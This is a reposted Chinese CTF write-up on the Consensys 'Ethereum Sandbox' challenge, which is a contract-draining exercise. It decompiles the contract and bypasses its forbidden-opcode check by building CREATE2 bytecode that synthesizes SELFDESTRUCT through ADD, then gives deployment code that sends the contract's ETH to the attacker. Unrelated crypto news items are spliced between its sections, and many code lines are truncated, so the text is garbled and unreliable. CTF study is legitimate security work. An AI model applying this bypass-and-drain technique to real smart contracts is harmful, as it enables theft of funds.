Consensys CTF - " 以太坊沙盒 "

基于samczsun的解析文章学习

分析原文:

本文都是基于https://samczsun

elseif(0x2918435f==function_selector){0x2918435f();}elseif(0x4214352d==function_selector){0x4214352d();}elseif(0x74e3fb3e==function_selector){0x74e3fb3e();}

再看到其的全局变量,一共有两个,分别在slot0和slot1的位置处。可以看到这两个全局变量都是uint256数组。

uint256array_0;//STORAGEuint256_owners;//STORAGE

依次分析函数,找到我们感兴趣的部分,然后再深入调查该函数,看是否能够达到我们的目标——拿到该合约的所有ETH。

Web3社交协议CyberConnect 3月月活突破73万,创历史新高:金色财经报道,据 Dune Analytics 数据显示,Web3 社交协议 CyberConnect 3 月月活突破 73 万,创历史新高。此外,CyberConnect 推出的 ccProfile NFT 3 月铸造量突破 59 万枚,同样创下历史新高。[2023/4/6 13:48:15]

首先是函数1:0x4214352d

function0x4214352d(uint256varg0,uint256varg1)publicnonPayable{require(msg

//翻译一下functionset_array(uint256_value,uint256_key)public{require(msg

Digiconomist:合并后以太坊能耗已减少99

Layer 2互操作性协议Connext推迟代币NEXT的发行计划:7月12日消息,Layer 2互操作性协议Connext发文表示,鉴于最近的市场状况和波动性,决定暂时推迟代币NEXT的发行计划,等情况稳定下来后将研究一个更好地针对支持者和社区的分配结构。其目标是在秋季之前敲定细节并进行分发,团队将尽快分享研究结果和更新后的代币发行细节。

此外团队将优先考虑开发和社区工作,包括即将推出Amarok网络升级。此前报道,4月份Connext公布原生代币NEXT和贡献者计划,其中NEXT是ERC-20形式的实用程序和治理代币,总量10亿枚。[2022/7/12 2:07:14]

=>functionget_array(uint256_key)publicviewreturns(uint256){require(msg

与set_array函数类似

再看函数3:owners

以太坊DevCon演讲者申请延长至7月6日:6月29日消息,以太坊基金会DevCon团队宣布演讲者申请截止日期已延长一周,新截止日期为UTC时间7月5日23:59(北京时间7月6日7:59),申请人将在7月底之前收到有关其申请状态的回复。链上DevCon拍卖和抽奖活动“DevCon VI的第一张门票”将于2022年7月5日开始,该活动将在Arbitrum上进行,最低出价为0.25ETH,收益将捐赠给公益事业,参与拍卖和抽奖的用户将获得一个POAP NFT,公开售票将在拍卖结束后开始。[2022/6/29 1:38:40]

functionowners(uint256varg0)publicnonPayable{require(msg

=>functionowners(uint256_key)publicviewreturns(address){require(msg

最后看函数4:0x2918435f

UnConventional Ventures联合创始人:代币化货币、CBDC和稳定币更多地是提取和延续一种商业模式:金色财经报道,UnConventional Ventures 联合创始人 Bradley Leimer更感兴趣的是潜在的稳定币和私人资金的代币化。他认为,当我们谈论私有化时,一切都倾向于去中心化,最终重新中心化,然后货币化——无论是技术平台、政府支持的数字货币、代币还是其他形式的嵌入式金融。我认为代币化货币、CBDC 和稳定币不会成为包容性的故事,因为激励措施都是错误的。我认为它们更多地是关于控制、提取和延续一种商业模式,这种模式在满足整个社区的需求方面已经失去了很多。[2021/10/14 20:28:10]

function0x2918435f(addressvarg0)publicpayable{require(msg

v2=1;}require(v0);MEM=MEM(varg0

Converter开通挖矿2小时内TVL过1.2亿美金:据DeFiBox.com最新数据显示,Heco链上杠杆收益聚合器Converter开通挖矿2小时内TVL过1.2亿美金。Converter单币质押池已于3月17日9:00正式开放,流动性挖矿池将于3月17日21:00开启。

Converter是Heco链上一款DeFi投资理财收益聚合器,旨在帮助用户优化理财收益率,此外,Converter协议会在低风险情况下帮助用户投资增加杠杆,增加用户理财收益。[2021/3/17 18:51:56]

assert(v5<varg0

v7,v8=varg0

require(v7);}

Tyler Hobbs NFT作品总销售额超1

v2=1;}require(v0);=>翻译一下:boolpermit=false;uint256i=0;while(i<_owners

i=1;}require(permit);

3.要求作为传入参数的地址addr,逐字节检查该参数地址对应的代码,要求其中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字节。在黄皮书中这几个字节对应的分别是:create,call,callcode,delegatecall,staticcall,selfdestruct.这部分对应的代码比较复杂,我们将对比opcode,逐字翻译```MEM=MEM(varg0

assert(v5<varg0

}

问题分析-2

现在我们需要满足第三个条件,即构造一个合约,该合约对应的runtimecode中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字节,因此需要我们手动来写合约,然后通过该sandbox的第四个函数来delegatecall该合约,从而清空sandbox中的ETH。

首先明确我们使用create2,其为0xf5,我们可以首先看下黄皮书中关于create2的定义

简单来说是先计算出要创建的合约的地址,然后执行要创建的合约的初始化代码,再将该初始化代码与要创建的合约地址进行关联。

故我们需要一个合约,他的runtimecode中执行一个create2函数,创建一个临时合约,并将上下文环境中的address(this)里的全部ETH都作为赠品赠与该临时合约,该临时合约的初始化代码中应该执行selfdestruct(tx.orgin)函数来将所有的ETH转移给合约部署人。

先用opcode来写runtimecode:

//tx.origin这里的ORIGIN是payload,不应该被执行,故需要改为push10x32//SELFDESTRUCT//构造payload,因为SELFDESTRUCT是0xff,不能被使用,故可以通过ADD来绕道实现push20x32fe//0x32fepush10x01//0x32fe0x01ADD//0x32ffpush10x40//0x32ff0x40mstore//构造payload0x40->0x32ff,push100//Us->salt盐push10x04//Us->length长度4push10x3e//us->offset偏移值->内存中0x400x20-0x2=0x3eADDRESSBALANCE//Us->ETH数量->应该是该address(this)的所有ETHcreate2=>6132fe60010160405260006004603e3031f5

在写该合约的初始化代码,可以用solidity写了,因为是我自己执行来部署该runtimecode

contractHackCTF{constructor()publicpayable{assembly{mstore(0x00,0x6132fe60010160405260006004603e3031f5)return(0x0e,0x12。}

然后部署HackCTF合约,在调用ctf中的第四个函数,将该合约的地址作为参数传进去即可

hacker=HackCTF.deploy({"from":alice})ctf.hack(hacker,{'from':alice})print(alice.balance())

免责声明:作为区块链信息平台,本站所发布文章仅代表作者个人观点,与链闻ChainNews立场无关。文章内的信息、意见等均仅供参考,并非作为或被视为实际投资建议。

本文来源于非小号媒体平台:

登链社区

现已在非小号资讯平台发布105篇作品,

非小号开放平台欢迎币圈作者入驻

入驻指南:

/apply_guide/

本文网址:

/news/10087897.html

免责声明:

1.资讯内容不构成投资建议,投资者应独立决策并自行承担风险

2.本文版权归属原作所有,仅代表作者本人观点,不代表非小号的观点或立场

上一篇:

SendingLabs完成1250万美元种子轮融资,以构建「Web3通信堆栈」

郑重声明: 本文版权归原作者所有, 转载文章仅为传播更多信息之目的, 如作者信息标记有误, 请第一时间联系我们修改或删除, 多谢。

银河链

FIL幣安杠桿代幣更新風控策略(2021-06-17)

親愛的用戶:為了更好地服務用戶,防範市場風險,幣安將於2021年06月24日11:00調整部分幣安槓桿代幣的單用戶最大持倉量,詳見下表:槓桿代幣最大持倉量(USDT)*LTCUP5,000LTCDOWN5,000XLMUP5.

世界币冯楚昊:BTC重新回踩35000分水岭 ETH多头命悬一线

BTC:隔日比特币继续延续本周冲高41000后的回落走势,尤其当价格跌破37500关键支撑后,顺利下探回踩35000关口支撑,而此位置作为上周波段反弹起涨点,同样具备重要性,也是日线级别当前震荡结构中影响多空强弱的分界点.

ICPFilecoin主网已达5EiB基线,单T产币是否会受影响?

4月2日全网算力规模和基线规模同时达到3.8EiB,5月7日全网算力迎来5EiB时代。大家都知道全网算力和基线标准是直接影响区块奖励释放的,那现在5EiB时代下区块奖励的基线释放规则会不会受影响?又是如何释放的?我们又该如何计算呢?.

[0:15ms0-2:225ms